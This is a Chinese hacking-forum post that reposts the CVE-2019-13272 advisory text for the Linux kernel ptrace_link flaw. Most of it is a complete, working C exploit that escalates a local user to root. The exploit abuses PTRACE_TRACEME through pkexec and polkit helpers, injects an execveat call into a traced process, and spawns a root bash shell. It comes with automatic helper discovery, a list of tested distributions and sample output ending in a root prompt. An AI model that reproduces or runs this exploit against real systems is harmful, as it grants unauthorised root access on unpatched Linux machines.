搜索
查看: 498|回复: 0

Linux kernel 5.1.17 CVE-2019-13272 – Unauthorized Access

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2019-7-25 12:03:42 | 显示全部楼层 |阅读模式
原文链接:https://0day.life/exploit/0day-636.html

Description

In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit’s pkexec helper with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in some environments.

POC

  1. // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
  2. // Uses pkexec technique
  3. // ---
  4. // Original discovery and exploit author: Jann Horn
  5. // - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
  6. // ---
  7. // <bcoles@gmail.com>
  8. // - added known helper paths
  9. // - added search for suitable helpers
  10. // - added automatic targeting
  11. // - changed target suid exectuable from passwd to pkexec
  12. // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
  13. // ---
  14. // Tested on:
  15. // - Ubuntu 16.04.5 kernel 4.15.0-29-generic
  16. // - Ubuntu 18.04.1 kernel 4.15.0-20-generic
  17. // - Ubuntu 19.04 kernel 5.0.0-15-generic
  18. // - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
  19. // - Linux Mint 19 kernel 4.15.0-20-generic
  20. // - Debian 9.4.0 kernel 4.9.0-6-amd64
  21. // - Debian 10.0.0 kernel 4.19.0-5-amd64
  22. // - Devuan 2.0.0 kernel 4.9.0-6-amd64
  23. // - SparkyLinux 5.8 kernel 4.19.0-5-amd64
  24. // - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
  25. // - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
  26. // - Mageia 6 kernel 4.9.35-desktop-1.mga6
  27. // - Antergos 18.7 kernel 4.17.6-1-ARCH
  28. // ---
  29. // user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root
  30. // user@linux-mint-19-2:~$ ./ptrace_traceme_root
  31. // Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
  32. // [.] Checking environment ...
  33. // [~] Done, looks good
  34. // [.] Searching for known helpers ...
  35. // [~] Found known helper: /usr/sbin/mate-power-backlight-helper
  36. // [.] Using helper: /usr/sbin/mate-power-backlight-helper
  37. // [.] Spawning suid process (/usr/bin/pkexec) ...
  38. // [.] Tracing midpid ...
  39. // [~] Attached to midpid
  40. // To run a command as administrator (user "root"), use "sudo <command>".
  41. // See "man sudo_root" for details.
  42. //
  43. // root@linux-mint-19-2:/home/user#
  44. // ---

  45. #define _GNU_SOURCE
  46. #include <string.h>
  47. #include <stdlib.h>
  48. #include <unistd.h>
  49. #include <signal.h>
  50. #include <stdio.h>
  51. #include <fcntl.h>
  52. #include <sched.h>
  53. #include <stddef.h>
  54. #include <stdarg.h>
  55. #include <pwd.h>
  56. #include <sys/prctl.h>
  57. #include <sys/wait.h>
  58. #include <sys/ptrace.h>
  59. #include <sys/user.h>
  60. #include <sys/syscall.h>
  61. #include <sys/stat.h>
  62. #include <linux/elf.h>

  63. #define DEBUG

  64. #ifdef DEBUG
  65. #  define dprintf printf
  66. #else
  67. #  define dprintf
  68. #endif

  69. #define SAFE(expr) ({                   \
  70.   typeof(expr) __res = (expr);          \
  71.   if (__res == -1) {                    \
  72.     dprintf("[-] Error: %s\n", #expr);  \
  73.     return 0;                           \
  74.   }                                     \
  75.   __res;                                \
  76. })
  77. #define max(a,b) ((a)>(b) ? (a) : (b))

  78. static const char *SHELL = "/bin/bash";

  79. static int middle_success = 1;
  80. static int block_pipe[2];
  81. static int self_fd = -1;
  82. static int dummy_status;
  83. static const char *helper_path;
  84. static const char *pkexec_path = "/usr/bin/pkexec";
  85. static const char *pkaction_path = "/usr/bin/pkaction";
  86. struct stat st;

  87. const char *helpers[1024];

  88. const char *known_helpers[] = {
  89.   "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
  90.   "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
  91.   "/usr/lib/unity-settings-daemon/usd-backlight-helper",
  92.   "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
  93.   "/usr/sbin/mate-power-backlight-helper",
  94.   "/usr/bin/xfpm-power-backlight-helper",
  95.   "/usr/bin/lxqt-backlight_backend",
  96.   "/usr/libexec/gsd-wacom-led-helper",
  97.   "/usr/libexec/gsd-wacom-oled-helper",
  98.   "/usr/libexec/gsd-backlight-helper",
  99.   "/usr/lib/gsd-backlight-helper",
  100.   "/usr/lib/gsd-wacom-led-helper",
  101.   "/usr/lib/gsd-wacom-oled-helper",
  102. };

  103. /* temporary printf; returned pointer is valid until next tprintf */
  104. static char *tprintf(char *fmt, ...) {
  105.   static char buf[10000];
  106.   va_list ap;
  107.   va_start(ap, fmt);
  108.   vsprintf(buf, fmt, ap);
  109.   va_end(ap);
  110.   return buf;
  111. }

  112. /*
  113. * fork, execute pkexec in parent, force parent to trace our child process,
  114. * execute suid executable (pkexec) in child.
  115. */
  116. static int middle_main(void *dummy) {
  117.   prctl(PR_SET_PDEATHSIG, SIGKILL);
  118.   pid_t middle = getpid();

  119.   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));

  120.   pid_t child = SAFE(fork());
  121.   if (child == 0) {
  122.     prctl(PR_SET_PDEATHSIG, SIGKILL);

  123.     SAFE(dup2(self_fd, 42));

  124.     /* spin until our parent becomes privileged (have to be fast here) */
  125.     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
  126.     char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
  127.     while (1) {
  128.       char buf[1000];
  129.       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
  130.       buf[buflen] = '\0';
  131.       if (strstr(buf, needle)) break;
  132.     }

  133.     /*
  134.      * this is where the bug is triggered.
  135.      * while our parent is in the middle of pkexec, we force it to become our
  136.      * tracer, with pkexec's creds as ptracer_cred.
  137.      */
  138.     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

  139.     /*
  140.      * now we execute a suid executable (pkexec).
  141.      * Because the ptrace relationship is considered to be privileged,
  142.      * this is a proper suid execution despite the attached tracer,
  143.      * not a degraded one.
  144.      * at the end of execve(), this process receives a SIGTRAP from ptrace.
  145.      */
  146.     execl(pkexec_path, basename(pkexec_path), NULL);

  147.     dprintf("[-] execl: Executing suid executable failed");
  148.     exit(EXIT_FAILURE);
  149.   }

  150.   SAFE(dup2(self_fd, 0));
  151.   SAFE(dup2(block_pipe[1], 1));

  152.   /* execute pkexec as current user */
  153.   struct passwd *pw = getpwuid(getuid());
  154.   if (pw == NULL) {
  155.     dprintf("[-] getpwuid: Failed to retrieve username");
  156.     exit(EXIT_FAILURE);
  157.   }

  158.   middle_success = 1;
  159.   execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
  160.         helper_path,
  161.         "--help", NULL);
  162.   middle_success = 0;
  163.   dprintf("[-] execl: Executing pkexec failed");
  164.   exit(EXIT_FAILURE);
  165. }

  166. /* ptrace pid and wait for signal */
  167. static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
  168.   struct user_regs_struct regs;
  169.   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
  170.   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
  171.   SAFE(waitpid(pid, &dummy_status, 0));
  172.   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));

  173.   /* set up indirect arguments */
  174.   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
  175.   struct injected_page {
  176.     unsigned long argv[2];
  177.     unsigned long envv[1];
  178.     char arg0[8];
  179.     char path[1];
  180.   } ipage = {
  181.     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
  182.   };
  183.   strcpy(ipage.arg0, arg0);
  184.   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
  185.     unsigned long pdata = ((unsigned long *)&ipage)[i];
  186.     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
  187.                 (void*)pdata));
  188.   }

  189.   /* execveat(exec_fd, path, argv, envv, flags) */
  190.   regs.orig_rax = __NR_execveat;
  191.   regs.rdi = exec_fd;
  192.   regs.rsi = scratch_area + offsetof(struct injected_page, path);
  193.   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
  194.   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
  195.   regs.r8 = AT_EMPTY_PATH;

  196.   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
  197.   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
  198.   SAFE(waitpid(pid, &dummy_status, 0));
  199. }

  200. static int middle_stage2(void) {
  201.   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
  202.   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
  203.   force_exec_and_wait(child, 42, "stage3");
  204.   return 0;
  205. }

  206. // * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *

  207. static int spawn_shell(void) {
  208.   SAFE(setresgid(0, 0, 0));
  209.   SAFE(setresuid(0, 0, 0));
  210.   execlp(SHELL, basename(SHELL), NULL);
  211.   dprintf("[-] execlp: Executing shell %s failed", SHELL);
  212.   exit(EXIT_FAILURE);
  213. }

  214. // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *

  215. static int check_env(void) {
  216.   const char* xdg_session = getenv("XDG_SESSION_ID");

  217.   dprintf("[.] Checking environment ...\n");

  218.   if (stat(pkexec_path, &st) != 0) {
  219.     dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
  220.     exit(EXIT_FAILURE);
  221.   }
  222.   if (stat(pkaction_path, &st) != 0) {
  223.     dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
  224.     exit(EXIT_FAILURE);
  225.   }
  226.   if (xdg_session == NULL) {
  227.     dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
  228.     return 1;
  229.   }
  230.   if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
  231.     dprintf("[!] Warning: Could not find active PolKit agent\n");
  232.     return 1;
  233.   }

  234.   dprintf("[~] Done, looks good\n");

  235.   return 0;
  236. }

  237. /*
  238. * Use pkaction to search PolKit policy actions for viable helper executables.
  239. * Check each action for allow_active=yes, extract the associated helper path,
  240. * and check the helper path exists.
  241. */
  242. int find_helpers() {
  243.   char cmd[1024];
  244.   snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
  245.   FILE *fp;
  246.   fp = popen(cmd, "r");
  247.   if (fp == NULL) {
  248.     dprintf("[-] Failed to run: %s\n", cmd);
  249.     exit(EXIT_FAILURE);
  250.   }

  251.   char line[1024];
  252.   char buffer[2048];
  253.   int helper_index = 0;
  254.   int useful_action = 0;
  255.   static const char *needle = "org.freedesktop.policykit.exec.path -> ";
  256.   int needle_length = strlen(needle);

  257.   while (fgets(line, sizeof(line)-1, fp) != NULL) {
  258.     /* check the action uses allow_active=yes*/
  259.     if (strstr(line, "implicit active:")) {
  260.       if (strstr(line, "yes")) {
  261.         useful_action = 1;
  262.       }
  263.       continue;
  264.     }

  265.     if (useful_action == 0)
  266.       continue;
  267.     useful_action = 0;

  268.     /* extract the helper path */
  269.     int length = strlen(line);
  270.     char* found = memmem(&line[0], length, needle, needle_length);
  271.     if (found == NULL)
  272.       continue;

  273.     memset(buffer, 0, sizeof(buffer));
  274.     for (int i = 0; found[needle_length + i] != '\n'; i++) {
  275.       if (i >= sizeof(buffer)-1)
  276.         continue;
  277.       buffer[i] = found[needle_length + i];
  278.     }

  279.     if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
  280.       strstr(&buffer[0], "/cpugovctl") != 0 ||
  281.       strstr(&buffer[0], "/package-system-locked") != 0 ||
  282.       strstr(&buffer[0], "/cddistupgrader") != 0) {
  283.       dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
  284.       continue;
  285.     }

  286.     /* check the path exists */
  287.     if (stat(&buffer[0], &st) != 0)
  288.       continue;

  289.     helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
  290.     helper_index++;

  291.     if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
  292.       break;
  293.   }

  294.   pclose(fp);
  295.   return 0;
  296. }

  297. // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

  298. int ptrace_traceme_root() {
  299.   dprintf("[.] Using helper: %s\n", helper_path);

  300.   /*
  301.    * set up a pipe such that the next write to it will block: packet mode,
  302.    * limited to one packet
  303.    */
  304.   SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
  305.   SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
  306.   char dummy = 0;
  307.   SAFE(write(block_pipe[1], &dummy, 1));

  308.   /* spawn pkexec in a child, and continue here once our child is in execve() */
  309.   dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
  310.   static char middle_stack[1024*1024];
  311.   pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
  312.                             CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
  313.   if (!middle_success) return 1;

  314.   /*
  315.    * wait for our child to go through both execve() calls (first pkexec, then
  316.    * the executable permitted by polkit policy).
  317.    */
  318.   while (1) {
  319.     int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
  320.     char buf[16];
  321.     int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
  322.     buf[buflen] = '\0';
  323.     *strchrnul(buf, '\n') = '\0';
  324.     if (strncmp(buf, basename(helper_path), 15) == 0)
  325.       break;
  326.     usleep(100000);
  327.   }

  328.   /*
  329.    * our child should have gone through both the privileged execve() and the
  330.    * following execve() here
  331.    */
  332.   dprintf("[.] Tracing midpid ...\n");
  333.   SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
  334.   SAFE(waitpid(midpid, &dummy_status, 0));
  335.   dprintf("[~] Attached to midpid\n");

  336.   force_exec_and_wait(midpid, 0, "stage2");
  337.   exit(EXIT_SUCCESS);
  338. }

  339. int main(int argc, char **argv) {
  340.   if (strcmp(argv[0], "stage2") == 0)
  341.     return middle_stage2();
  342.   if (strcmp(argv[0], "stage3") == 0)
  343.     return spawn_shell();

  344.   dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");

  345.   check_env();

  346.   if (argc > 1 && strcmp(argv[1], "check") == 0) {
  347.     exit(0);
  348.   }

  349.   /* Search for known helpers defined in 'known_helpers' array */
  350.   dprintf("[.] Searching for known helpers ...\n");
  351.   for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
  352.     if (stat(known_helpers[i], &st) == 0) {
  353.       helper_path = known_helpers[i];
  354.       dprintf("[~] Found known helper: %s\n", helper_path);
  355.       ptrace_traceme_root();
  356.     }
  357.   }

  358.   /* Search polkit policies for helper executables */
  359.   dprintf("[.] Searching for useful helpers ...\n");
  360.   find_helpers();
  361.   for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
  362.     if (helpers[i] == NULL)
  363.       break;

  364.     if (stat(helpers[i], &st) == 0) {
  365.       helper_path = helpers[i];
  366.       ptrace_traceme_root();
  367.     }
  368.   }

  369.   return 0;
  370. }
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表